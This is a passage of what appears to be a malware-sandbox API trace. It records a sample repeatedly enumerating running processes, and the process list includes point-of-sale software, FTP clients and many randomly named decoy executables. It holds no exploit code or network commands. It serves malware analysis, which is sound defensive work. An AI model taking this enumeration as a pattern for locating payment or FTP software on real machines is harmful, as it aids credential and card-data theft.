cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0249.408] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0249.410] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0249.412] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0249.429] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0249.432] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0249.434] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0249.436] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0249.438] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0249.441] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0249.443] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0249.445] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0249.448] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.450] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0249.453] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0249.455] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0249.457] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0249.459] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0249.461] CloseHandle (hObject=0x2198) returned 1 [0249.461] Sleep (dwMilliseconds=0x64) [0249.463] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0249.484] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.488] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.490] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.492] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.494] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.496] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.498] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.499] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.501] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.503] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.537] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.540] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.543] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.546] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.548] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.551] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.554] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.557] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.559] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.562] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.563] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0249.565] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.567] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.569] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0249.571] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0249.573] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0249.575] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0249.577] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0249.579] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0249.581] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0249.583] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.586] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0249.589] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0249.591] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0249.593] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.595] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0249.597] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0249.599] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0249.601] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0249.603] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0249.605] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0249.607] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0249.609] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0249.611] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0249.613] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0249.614] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0249.616] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0249.618] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0249.620] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0249.622] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0249.624] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0249.626] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0249.627] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0249.629] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0249.631] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0249.635] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0249.637] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0249.639] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0249.673] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0249.677] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0249.680] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0249.684] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0249.689] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0249.692] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0249.696] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0249.699] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 